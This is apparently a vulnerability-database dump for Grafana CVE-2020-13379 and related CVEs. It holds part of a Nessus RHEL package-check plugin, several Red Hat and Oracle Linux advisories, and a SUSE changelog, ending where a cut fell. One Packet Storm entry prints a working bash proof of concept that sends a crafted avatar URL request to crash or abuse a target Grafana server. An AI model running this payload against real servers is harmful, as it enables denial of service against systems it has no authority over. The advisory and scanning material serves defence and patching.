\"CVE-2020-12052\",\n \"CVE-2020-12245\",\n \"CVE-2020-13379\",\n \"CVE-2020-13430\"\n );\n script_xref(name:\"RHSA\", value:\"2020:2861\");\n\n script_name(english:\"RHEL 8 : Red Hat OpenShift Service Mesh 1.0 servicemesh-grafana (RHSA-2020:2861)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Red Hat host is missing one or more security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Redhat Enterprise Linux 8 host has packages installed that are affected by multiple vulnerabilities as\nreferenced in the RHSA-2020:2861 advisory.\n\n - kubernetes: YAML parsing vulnerable to Billion Laughs\n attack, allowing for remote denial of service\n (CVE-2019-11253)\n\n - grafana: XSS annotation popup vulnerability\n (CVE-2020-12052)\n\n - grafana: XSS via column.title or cellLinkTooltip\n (CVE-2020-12245)\n\n - grafana: SSRF incorrect access control vulnerability\n allows unauthenticated users to make grafana send HTTP\n requests to any URL (CVE-2020-13379)\n\n - grafana: XSS via the OpenTSDB datasource\n (CVE-2020-13430)\n\n - npm-serialize-javascript: allows remote attackers to\n inject arbitrary code via the function deleteFunctions\n within index.js (CVE-2020-7660)\n\n - npmjs-websocket-extensions: ReDoS vulnerability in Sec-\n WebSocket-Extensions parser (CVE-2020-7662)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/20.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/79.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/284.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/400.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/476.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/502.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/918.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2019-11253\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-7660\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-7662\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-12052\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-12245\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-13379\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-13430\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/errata/RHSA-2020:2861\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1757701\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1843640\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1844228\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1845982\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1848089\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1848108\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1848643\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected servicemesh-grafana and / or servicemesh-grafana-prometheus packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-7660\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(20, 79, 284, 400, 476, 502, 918);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/10/17\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/07/07\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/07/07\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:service_mesh:1.0\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:service_mesh:1.0::el8\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:8\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:servicemesh-grafana\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:servicemesh-grafana-prometheus\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('misc_func.inc');\ninclude('rpm.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item('Host/RedHat/release');\nif (isnull(release) || 'Red Hat' >!< release) audit(AUDIT_OS_NOT, 'Red Hat');\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'Red Hat');\nos_ver = os_ver[1];\nif (! preg(pattern:\"^8([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, 'Red Hat 8.x', 'Red Hat ' + os_ver);\n\nif (!get_kb_item('Host/RedHat/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 's390' >!< cpu && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'Red Hat', cpu);\n\npkgs = [\n {'reference':'servicemesh-grafana-6.2.2-38.el8', 'cpu':'x86_64', 'release':'8'},\n {'reference':'servicemesh-grafana-prometheus-6.2.2-38.el8', 'cpu':'x86_64', 'release':'8'}\n];\n\nflag = 0;\nforeach package_array ( pkgs ) {\n reference = NULL;\n release = NULL;\n sp = NULL;\n cpu = NULL;\n el_string = NULL;\n rpm_spec_vers_cmp = NULL;\n epoch = NULL;\n allowmaj = NULL;\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) release = 'RHEL' + package_array['release'];\n if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];\n if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (!empty_or_null(package_array['epoch'])) epoch = package_array['epoch'];\n if (!empty_or_null(package_array['allowmaj'])) allowmaj = package_array['allowmaj'];\n if (reference && release) {\n if (rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n }\n}\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'servicemesh-grafana / servicemesh-grafana-prometheus');\n}\n\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2020-07-08T08:52:39", "description": "", "published": "2020-07-06T00:00:00", "type": "packetstorm", "title": "Grafana 7.0.1 Denial Of Service", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-13379"], "modified": "2020-07-06T00:00:00", "id": "PACKETSTORM:158320", "href": "https://packetstormsecurity.com/files/158320/Grafana-7.0.1-Denial-Of-Service.html", "sourceData": "`# Exploit Title: Grafana 7.0.1 - Denial of Service (PoC) \n# Date: 2020-05-23 \n# Exploit Author: mostwanted002 \n# Vendor Homepage: https://grafana.com/ \n# Software Link: https://grafana.com/grafana/download \n# Version: 3.0.1 - 7.0.1 \n# Tested on: Linux \n# CVE : CVE-2020-13379 \n \n#!/bin/bash \n \nif [[ $1 != \"\" ]]; then \ncurl -I \"${1}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D\" \nelse \necho \"Usage: grafana-dos.sh <TARGET>. Example: grafana-dos.sh http://localhost:3000\" \nfi \n`\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/158320/grafana701-dos.txt"}], "redhat": [{"lastseen": "2020-06-22T07:54:37", "bulletinFamily": "unix", "cvelist": ["CVE-2020-13379"], "description": "Grafana is an open source, feature rich metrics dashboard and graph editor for Graphite, InfluxDB & OpenTSDB. \n\nSecurity Fix(es):\n\n* grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL (CVE-2020-13379)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2020-06-22T10:57:57", "published": "2020-06-22T10:50:20", "id": "RHSA-2020:2641", "href": "https://access.redhat.com/errata/RHSA-2020:2641", "type": "redhat", "title": "(RHSA-2020:2641) Important: grafana security update", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-07-06T21:55:02", "bulletinFamily": "unix", "cvelist": ["CVE-2020-13379"], "description": "Red Hat OpenShift Container Platform is Red Hat's cloud computing\nKubernetes application platform solution designed for on-premise or private\ncloud deployments.\n\nSecurity Fix(es):\n\n* grafana: SSRF incorrect access control vulnerability allowed unauthenticated users to make grafana send HTTP requests to any URL (CVE-2020-13379)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2020-07-07T00:06:22", "published": "2020-07-07T00:05:13", "id": "RHSA-2020:2792", "href": "https://access.redhat.com/errata/RHSA-2020:2792", "type": "redhat", "title": "(RHSA-2020:2792) Moderate: OpenShift Container Platform 4.4.11 grafana-container security update", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-12-17T05:30:24", "bulletinFamily": "unix", "cvelist": ["CVE-2020-13379"], "description": "Red Hat Gluster Storage is software only scale-out storage solution that\nprovides flexible and affordable unstructured data storage. It unifies data\nstorage and infrastructure, increases performance, and improves\navailability and manageability to meet enterprise-level storage challenges.\n\nSecurity Fix(es):\n\n* grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL (CVE-2020-13379)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nThis advisory fixes the following bug:\n\n* Previously, tendrl-node-agent service was unable to import the cluster in a VMware environment as tendrl was looking for the serial number of the devices. With the current update, tendrl-node-agent service is able to import the cluster in a VMware environment without failure as the hardware_id and parent_id of the devices are used after proper validation instead of the serial number. (BZ#1809920)\n\nUsers of web-admin-build with Red Hat Gluster Storage are advised to upgrade to these updated packages.", "modified": "2020-12-17T09:23:10", "published": "2020-12-17T09:13:39", "id": "RHSA-2020:5599", "href": "https://access.redhat.com/errata/RHSA-2020:5599", "type": "redhat", "title": "(RHSA-2020:5599) Important: web-admin-build security and bug fix update", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-06-23T13:55:01", "bulletinFamily": "unix", "cvelist": ["CVE-2020-13379"], "description": "Grafana is an open source, feature rich metrics dashboard and graph editor for Graphite, InfluxDB & OpenTSDB. \n\nSecurity Fix(es):\n\n* grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL (CVE-2020-13379)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2020-06-23T16:52:11", "published": "2020-06-23T16:35:52", "id": "RHSA-2020:2676", "href": "https://access.redhat.com/errata/RHSA-2020:2676", "type": "redhat", "title": "(RHSA-2020:2676) Important: grafana security update", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2021-01-12T16:29:54", "bulletinFamily": "unix", "cvelist": ["CVE-2020-13379", "CVE-2020-1971", "CVE-2020-24659"], "description": "The rhceph-4.2 image is based on Red Hat Ceph Storage 4.2 and Red Hat Enterprise Linux.\n\nSecurity Fix(es):\n\n* grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL (CVE-2020-13379)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n\nBug Fix(es):\n\nUsers are directed to the Red Hat Ceph Storage 4.2 Release Notes for information on the most significant of these changes:\n\nhttps://access.redhat.com/documentation/en-us/red_hat_ceph_storage/4.2/html\n/release_notes/\n\nAll users of the rhceph-4.2 image are advised to pull this updated image from the Red Hat Ecosystem Catalog.", "modified": "2021-01-12T20:02:24", "published": "2021-01-12T20:00:03", "id": "RHSA-2021:0083", "href": "https://access.redhat.com/errata/RHSA-2021:0083", "type": "redhat", "title": "(RHSA-2021:0083) Important: Red Hat Ceph Storage 4.2 security and bug fix update", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-07-08T15:57:01", "bulletinFamily": "unix", "cvelist": ["CVE-2019-11253", "CVE-2020-12052", "CVE-2020-12245", "CVE-2020-13379", "CVE-2020-13430", "CVE-2020-7660", "CVE-2020-7662"], "description": "Red Hat OpenShift Service Mesh is Red Hat's distribution of the Istio service mesh project, tailored for installation into an on-premise OpenShift Container Platform installation.\n\nSecurity Fix(es):\n\n* kubernetes: YAML parsing vulnerable to \"Billion Laughs\" attack, allowing for remote denial of service (CVE-2019-11253)\n\n* grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL (CVE-2020-13379)\n\n* npm-serialize-javascript: allows remote attackers to inject arbitrary code via the function deleteFunctions within index.js (CVE-2020-7660)\n\n* npmjs-websocket-extensions: ReDoS vulnerability in Sec-WebSocket-Extensions parser (CVE-2020-7662)\n\n* grafana: XSS annotation popup vulnerability (CVE-2020-12052)\n\n* grafana: XSS via column.title or cellLinkTooltip (CVE-2020-12245)\n\n* grafana: XSS via the OpenTSDB datasource (CVE-2020-13430)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2020-07-07T23:23:57", "published": "2020-07-07T23:20:27", "id": "RHSA-2020:2861", "href": "https://access.redhat.com/errata/RHSA-2020:2861", "type": "redhat", "title": "(RHSA-2020:2861) Important: Red Hat OpenShift Service Mesh 1.0 servicemesh-grafana security update", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-07-01T19:55:59", "bulletinFamily": "unix", "cvelist": ["CVE-2019-11253", "CVE-2019-16769", "CVE-2020-12052", "CVE-2020-12245", "CVE-2020-13379", "CVE-2020-13430", "CVE-2020-7660", "CVE-2020-7662"], "description": "Red Hat OpenShift Service Mesh is Red Hat's distribution of the Istio service mesh project, tailored for installation into an on-premise OpenShift Container Platform installation.\n\nSecurity Fix(es):\n\n* kubernetes: YAML parsing vulnerable to \"Billion Laughs\" attack, allowing for remote denial of service (CVE-2019-11253)\n\n* grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL (CVE-2020-13379)\n\n* npm-serialize-javascript: XSS via unsafe characters in serialized regular expressions (CVE-2019-16769)\n\n* npm-serialize-javascript: allows remote attackers to inject arbitrary code via the function deleteFunctions within index.js (CVE-2020-7660)\n\n* npmjs-websocket-extensions: ReDoS vulnerability in Sec-WebSocket-Extensions parser (CVE-2020-7662)\n\n* grafana: XSS annotation popup vulnerability (CVE-2020-12052)\n\n* grafana: XSS via column.title or cellLinkTooltip (CVE-2020-12245)\n\n* grafana: XSS via the OpenTSDB datasource (CVE-2020-13430)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2020-07-01T22:34:40", "published": "2020-07-01T22:27:56", "id": "RHSA-2020:2796", "href": "https://access.redhat.com/errata/RHSA-2020:2796", "type": "redhat", "title": "(RHSA-2020:2796) Important: Red Hat OpenShift Service Mesh servicemesh-grafana security update", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "oraclelinux": [{"lastseen": "2020-06-23T09:24:05", "bulletinFamily": "unix", "cvelist": ["CVE-2020-13379"], "description": "[6.3.6-2]\n- fix CVE-2020-13379", "edition": 1, "modified": "2020-06-22T00:00:00", "published": "2020-06-22T00:00:00", "id": "ELSA-2020-2641", "href": "http://linux.oracle.com/errata/ELSA-2020-2641.html", "title": "grafana security update", "type": "oraclelinux", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-06-17T11:33:14", "bulletinFamily": "unix", "cvelist": ["CVE-2020-8555", "CVE-2020-10749", "CVE-2020-13379", "CVE-2019-11254"], "description": "grafana\n[%{}-1.0.1]\n- Added Oracle Specific Build Files for grafana\nkubernetes-cni\n[0.7.1-1.0.1]\n- Added Oracle specific build files for Kubernetes CNI\nkubernetes-cni-plugins\n[0.8.6-1.0.1]\n- Added Oracle specific build files for Kubernetes CNI Plugins\nkubernetes\n[1.14.9-1.0.4]\n- CVE-2020-10749: IPv4 only clusters susceptible to MitM attacks via IPv6 rogue router advertisements\n- CVE-2020-8555: Half-Blind SSRF in kube-controller-manager\n[1.14.9-1.0.3]\n- [CVE-2019-11254] kube-apiserver Denial of Service vulnerability from malicious YAML payloads\n[1.14.9-1.0.2]\n- Use bounded crio version\n[1.14.9-1.0.1]\n- Added Oracle specific build files for Kubernetes\nkubernetes\n[1.17.6-1.0.2.el7]\n- Update to kubernetes-cni for CVE-2020-10749\n[1.17.6-1.0.2.el7]\n- Added Oracle specific build files for Kubernetes\nolcne\n[1.1.1-1]\n- Update Istio to use Grafana 6.7.4 to address CVE-2020-13379\n- Kubernetes update due to CVE-2020-10749 and CVE-2020-8555", "edition": 2, "modified": "2020-06-12T00:00:00", "published": "2020-06-12T00:00:00", "id": "ELSA-2020-5726", "href": "http://linux.oracle.com/errata/ELSA-2020-5726.html", "title": "grafana kubernetes-cni kubernetes-cni-plugins kubernetes kubernetes olcne security update", "type": "oraclelinux", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-11-12T03:27:36", "bulletinFamily": "unix", "cvelist": ["CVE-2020-13430", "CVE-2020-12459", "CVE-2020-12245", "CVE-2020-13379", "CVE-2019-19499", "CVE-2018-18624", "CVE-2020-12052", "CVE-2020-12458", "CVE-2020-11110"], "description": "[6.7.4-3]\n- apply patch for CVE-2020-13430 also to sources, not only to compiled webpack\n[6.7.4-2]\n- security fix for CVE-2020-13430\n[6.7.4-1]\n- update to 6.7.4 tagged upstream community sources, see CHANGELOG\n- security fix for CVE-2020-13379\n[6.7.3-1]\n- update to 6.7.3 tagged upstream community sources, see CHANGELOG\n- add scripts to list Go dependencies and bundled npmjs dependencies\n- set Grafana version in Grafana UI and grafana-cli --version\n- declare README.md as documentation of datasource plugins\n- create grafana.db on first installation (fixes RH BZ #1805472)\n- change permissions of /var/lib/grafana to 750 (CVE-2020-12458)\n- change permissions of /var/lib/grafana/grafana.db to 640 and\n user/group grafana:grafana (CVE-2020-12458)\n- change permissions of grafana.ini and ldap.toml to 640 (CVE-2020-12459)\n[6.6.2-1]\n- added patch0 to set the version string correctly\n- removed patch 004-xerrors.patch, its now upstream\n- added several patches for golang vendored vrs build dep differences\n- added patch to move grafana-cli binary to libexec dir\n- update to 6.6.2 tagged upstream community sources, see CHANGELOG", "edition": 1, "modified": "2020-11-10T00:00:00", "published": "2020-11-10T00:00:00", "id": "ELSA-2020-4682", "href": "http://linux.oracle.com/errata/ELSA-2020-4682.html", "title": "grafana security, bug fix, and enhancement update", "type": "oraclelinux", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}], "suse": [{"lastseen": "2020-10-10T21:00:39", "bulletinFamily": "unix", "cvelist": ["CVE-2020-12245", "CVE-2020-13379"], "description": "This update for grafana fixes the following issues:\n\n Update to version 7.1.5:\n\n * Features / Enhancements\n\n - Stats: Stop counting the same user multiple times.\n - Field overrides: Filter by field name using regex.\n - AzureMonitor: map more units.\n - Explore: Don't run queries on datasource change.\n - Graph: Support setting field unit & override data source (automatic)\n unit.\n - Explore: Unification of logs/metrics/traces user interface\n - Table: JSON Cell should try to convert strings to JSON\n - Variables: enables cancel for slow query variables queries.\n - TimeZone: unify the time zone pickers to one that can rule them all.\n - Search: support URL query params.\n - Grafana-UI: Add FileUpload.\n - TablePanel: Sort numbers correctly.\n\n * Bug fixes\n\n - Alerting: remove LongToWide call in alerting.\n - AzureMonitor: fix panic introduced in 7.1.4 when unit was unspecified\n and alias was used.\n - Variables: Fixes issue with All variable not being resolved.\n - Templating: Fixes so texts show in picker not the values.\n - Templating: Templating: Fix undefined result when using raw\n interpolation format\n - TextPanel: Fix content overflowing panel boundaries.\n - StatPanel: Fix stat panel display name not showing when explicitly set.\n - Query history: Fix search filtering if null value.\n - Flux: Ensure connections to InfluxDB are closed.\n - Dashboard: Fix for viewer can enter panel edit mode by modifying url\n (but cannot not save anything).\n - Prometheus: Fix prom links in mixed mode.\n - Sign In Use correct url for the Sign In button.\n - StatPanel: Fixes issue with name showing for single series / field\n results\n - BarGauge: Fix space bug in single series mode.\n - Auth: Fix POST request failures with anonymous access\n - Templating: Fix recursive loop of template variable queries when\n changing ad-hoc-variable\n - Templating: Fixed recursive queries triggered when switching dashboard\n settings view\n - GraphPanel: Fix annotations overflowing panels.\n - Prometheus: Fix performance issue in processing of histogram labels.\n - Datasources: Handle URL parsing error.\n - Security: Use Header.Set and Header.Del for X-Grafana-User header.\n\n Update to version 7.0.3\n\n * Features / Enhancements\n\n - Stats: include all fields. #24829, @ryantxu\n - Variables: change VariableEditorList row action Icon to IconButton.\n #25217, @hshoff\n\n * Bug fixes\n\n - Cloudwatch: Fix dimensions of DDoSProtection. #25317, @papagian\n - Configuration: Fix env var override of sections containing hyphen.\n #25178, @marefr\n - Dashboard: Get panels in collapsed rows. #25079, @peterholmberg\n - Do not show alerts tab when alerting is disabled. #25285, @dprokop\n - Jaeger: fixes cascader option label duration value. #25129, @Estrax\n - Transformations: Fixed Transform tab crash & no update after adding\n first transform. #25152, @torkelo\n\n Update to version 7.0.2\n\n * Bug fixes\n - Security: Urgent security patch release to fix CVE-2020-13379\n\n Update to version 7.0.1\n\n * Features / Enhancements\n\n - Datasource/CloudWatch: Makes CloudWatch Logs query history more\n readable. #24795, @kaydelaney\n - Download CSV: Add date and time formatting. #24992, @ryantxu\n - Table: Make last cell value visible when right aligned. #24921,\n @peterholmberg\n - TablePanel: Adding sort order persistance. #24705, @torkelo\n - Transformations: Display correct field name when using reduce\n transformation. #25068, @peterholmberg\n - Transformations: Allow custom number input for binary operations.\n #24752, @ryantxu\n\n * Bug fixes\n\n - Dashboard/Links: Fixes dashboard links by tags not working. #24773,\n @KamalGalrani\n - Dashboard/Links: Fixes open in new window for dashboard link.\n #24772, @KamalGalrani\n - Dashboard/Links: Variables are resolved and limits to 100. #25076,\n @hugohaggmark\n - DataLinks: Bring back variables interpolation in title. #24970,\n @dprokop\n - Datasource/CloudWatch: Field suggestions no longer limited to\n prefix-only. #24855, @kaydelaney\n - Explore/Table: Keep existing field types if possible. #24944,\n @kaydelaney\n - Explore: Fix wrap lines toggle for results of queries with filter\n expression. #24915, @ivanahuckova\n - Explore: fix undo in query editor. #24797, @zoltanbedi\n - Explore: fix word break in type head info. #25014, @zoltanbedi\n - Graph: Legend decimals now work as expected. #24931, @torkelo\n - LoginPage: Fix hover color for service buttons. #25009, @tskarhed\n - LogsPanel: Fix scrollbar. #24850, @ivanahuckova\n - MoveDashboard: Fix for moving dashboard caused all variables to be\n lost. #25005, @torkelo\n - Organize transformer: Use display name in field order comparer.\n #24984, @dprokop\n - Panel: shows correct panel menu items in view mode. #24912,\n @hugohaggmark\n - PanelEditor Fix missing labels and description if there is only\n single option in category. #24905, @dprokop\n - PanelEditor: Overrides name matcher still show all original field\n names even after Field default display name is specified. #24933,\n @torkelo\n - PanelInspector: Makes sure Data display options are visible. #24902,\n @hugohaggmark\n - PanelInspector: Hides unsupported data display options for Panel\n type. #24918, @hugohaggmark\n - PanelMenu: Make menu disappear on button press. #25015, @tskarhed\n - Postgres: Fix add button. #25087, @phemmer\n - Prometheus: Fix recording rules expansion. #24977, @ivanahuckova\n - Stackdriver: Fix creating Service Level Objectives (SLO) datasource\n query variable. #25023, @papagian\n\n Update to version 7.0.0\n\n * Breaking changes\n\n - Removed PhantomJS: PhantomJS was deprecated in Grafana v6.4 and\n starting from Grafana v7.0.0, all PhantomJS support has been\n removed. This means that Grafana no longer ships with a built-in\n image renderer, and we advise you to install the Grafana Image\n Renderer plugin.\n - Dashboard: A global minimum dashboard refresh interval is now\n enforced and defaults to 5 seconds.\n - Interval calculation: There is now a new option Max data points that\n controls the auto interval $__interval calculation. Interval was\n previously calculated by dividing the panel width by the time range.\n With the new max data points option it is now easy to set\n $__interval to a dynamic value that is time range agnostic. For\n example if you set Max data points to 10 Grafana will dynamically\n set $__interval by dividing the current time range by 10.\n - Datasource/Loki: Support for deprecated Loki endpoints has been\n removed.\n - Backend plugins: Grafana now requires backend plugins to be signed,\n otherwise Grafana will not load/start them. This is an additional\n security measure to make sure backend plugin binaries and files\n haven't been tampered with. Refer to Upgrade Grafana for more\n information.\n - @grafana/ui: Forms migration notice, see @grafana/ui changelog\n - @grafana/ui: Select API change for creating custom values, see\n @grafana/ui changelog\n + Deprecation warnings\n - Scripted dashboards is now deprecated. The feature is not removed\n but will be in a future release. We hope to address the underlying\n requirement of dynamic dashboards in a different way. #24059\n - The unofficial first version of backend plugins together with\n usage of grafana/grafana-plugin-model is now deprecated and support for\n that will be removed in a future release. Please refer to backend plugins\n documentation for information about the new officially supported backend\n plugins.\n\n * Features / Enhancements\n\n - Backend plugins: Log deprecation warning when using the unofficial\n first version of backend plugins. #24675, @marefr\n - Editor: New line on Enter, run query on Shift+Enter. #24654, @davkal\n - Loki: Allow multiple derived fields with the same name. #24437,\n @aocenas\n - Orgs: Add future deprecation notice. #24502, @torkelo\n\n * Bug Fixes\n\n - @grafana/toolkit: Use process.cwd() instead of PWD to get directory.\n #24677, @zoltanbedi\n - Admin: Makes long settings values line break in settings page.\n #24559, @hugohaggmark\n - Dashboard: Allow editing provisioned dashboard JSON and add\n confirmation when JSON is copied to dashboard. #24680, @dprokop\n - Dashboard: Fix for strange "dashboard not found" errors when opening\n links in dashboard settings. #24416, @torkelo\n - Dashboard: Fix so default data source is selected when data source\n can't be found in panel editor. #24526, @mckn\n - Dashboard: Fixed issue changing a panel from transparent back to\n normal in panel editor. #24483, @torkelo\n - Dashboard: Make header names reflect the field name when exporting\n to CSV file from the the panel inspector. #24624, @peterholmberg\n - Dashboard: Make sure side pane is displayed with tabs by default in\n panel editor. #24636, @dprokop\n - Data source: Fix query/annotation help content formatting. #24687,\n @AgnesToulet\n - Data source: Fixes async mount errors. #24579, @Estrax\n - Data source: Fixes saving a data source without failure when URL\n doesn't specify a protocol. #24497, @aknuds1\n - Explore/Prometheus: Show results of instant queries only in table.\n #24508, @ivanahuckova\n - Explore: Fix rendering of react query editors. #24593, @ivanahuckova\n - Explore: Fixes loading more logs in logs context view. #24135,\n @Estrax\n - Graphite: Fix schema and dedupe strategy in rollup indicators for\n Metrictank queries. #24685, @torkelo\n - Graphite: Makes query annotations work again. #24556, @hugohaggmark\n - Logs: Clicking "Load more" from context overlay doesn't expand log\n row. #24299, @kaydelaney\n - Logs: Fix total bytes process calculation. #24691, @davkal\n - Org/user/team preferences: Fixes so UI Theme can be set back to\n Default. #24628, @AgnesToulet\n - Plugins: Fix manifest validation. #24573, @aknuds1\n - Provisioning: Use proxy as default access mode in provisioning.\n #24669, @bergquist\n - Search: Fix select item when pressing enter and Grafana is served\n using a sub path. #24634, @tskarhed\n - Search: Save folder expanded state. #24496, @Clarity-89\n - Security: Tag value sanitization fix in OpenTSDB data source.\n #24539, @rotemreiss\n - Table: Do not include angular options in options when switching from\n 